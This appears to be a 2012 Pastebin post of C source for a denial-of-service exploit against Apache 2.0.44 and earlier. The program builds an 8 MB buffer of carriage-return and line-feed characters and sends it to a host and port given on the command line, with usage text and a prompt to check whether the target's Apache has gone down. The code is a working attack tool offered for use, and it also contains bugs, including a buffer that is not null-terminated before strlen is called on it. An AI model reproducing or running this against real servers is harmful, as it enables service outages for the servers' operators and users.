emS-St1ks

Apache Exploit upgrade st1ks

Jun 16th, 2012
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.75 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <errno.h>
  5. #include <sys/types.h>
  6. #include <netinet/in.h>
  7. #include <netdb.h>
  8. #include <sys/socket.h>
  9.  
  10.  
  11. int main(int argc, char *argv[])
  12. {
  13. int sockfd;
  14. int count;
  15. char buffer[8000000];
  16. struct sockaddr_in target;
  17. struct hostent *he;
  18.  
  19. if (argc != 3)
  20. {
  21. fprintf(stderr, "\nTH-apachedos.c - Apache <= 2.0.44 DoS exploit.");
  22. fprintf(stderr, "\n----------------------------------------------");
  23. fprintf(stderr, "\nUsage: %s <Target> <Port>\n\n", argv[0]);
  24. exit(-1);
  25. }
  26.  
  27. printf("\nTH-Apache DoS\n");
  28. printf("-------------\n");
  29. printf("-> Starting...\n");
  30. printf("->\n");
  31.  
  32. // memset(buffer, '\n', sizeof(buffer)); /* testing */
  33.  
  34. for (count = 0; count < 8000000;)
  35. {
  36. buffer[count] = '\r'; /* 0x0D */
  37. count++;
  38. buffer[count] = '\n'; /* 0x0A */
  39. count++;
  40. }
  41.  
  42. if ((he=gethostbyname(argv[1])) == NULL)
  43. {
  44. herror("gethostbyname() failed ");
  45. exit(-1);
  46. }
  47.  
  48. memset(&target, 0, sizeof(target));
  49. target.sin_family = AF_INET;
  50. target.sin_port = htons(atoi(argv[2]));
  51. target.sin_addr = *((struct in_addr *)he->h_addr);
  52.  
  53. printf("-> Connecting to %s:%d...\n", inet_ntoa(target.sin_addr), atoi(argv[2]));
  54. printf("->\n");
  55.  
  56. if ((sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  57. {
  58. perror("socket() failed ");
  59. exit(-1);
  60. }
  61.  
  62. if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) < 0)
  63. {
  64. perror("connect() failed ");
  65. exit(-1);
  66. }
  67.  
  68. printf("-> Connected to %s:%d... Sending linefeeds...\n", inet_ntoa(target.sin_addr),
  69. atoi(argv[2]));
  70. printf("->\n");
  71.  
  72. if (send(sockfd, buffer, strlen(buffer), 0) != strlen(buffer))
  73. {
  74. perror("send() failed ");
  75. exit(-1);
  76. close(sockfd);
  77. }
  78.  
  79.  
  80. close(sockfd);
  81.  
  82. printf("-> Finished smoothly, check hosts apache...\n\n");
  83. }
Advertisement
Add Comment
Please, Sign In to add comment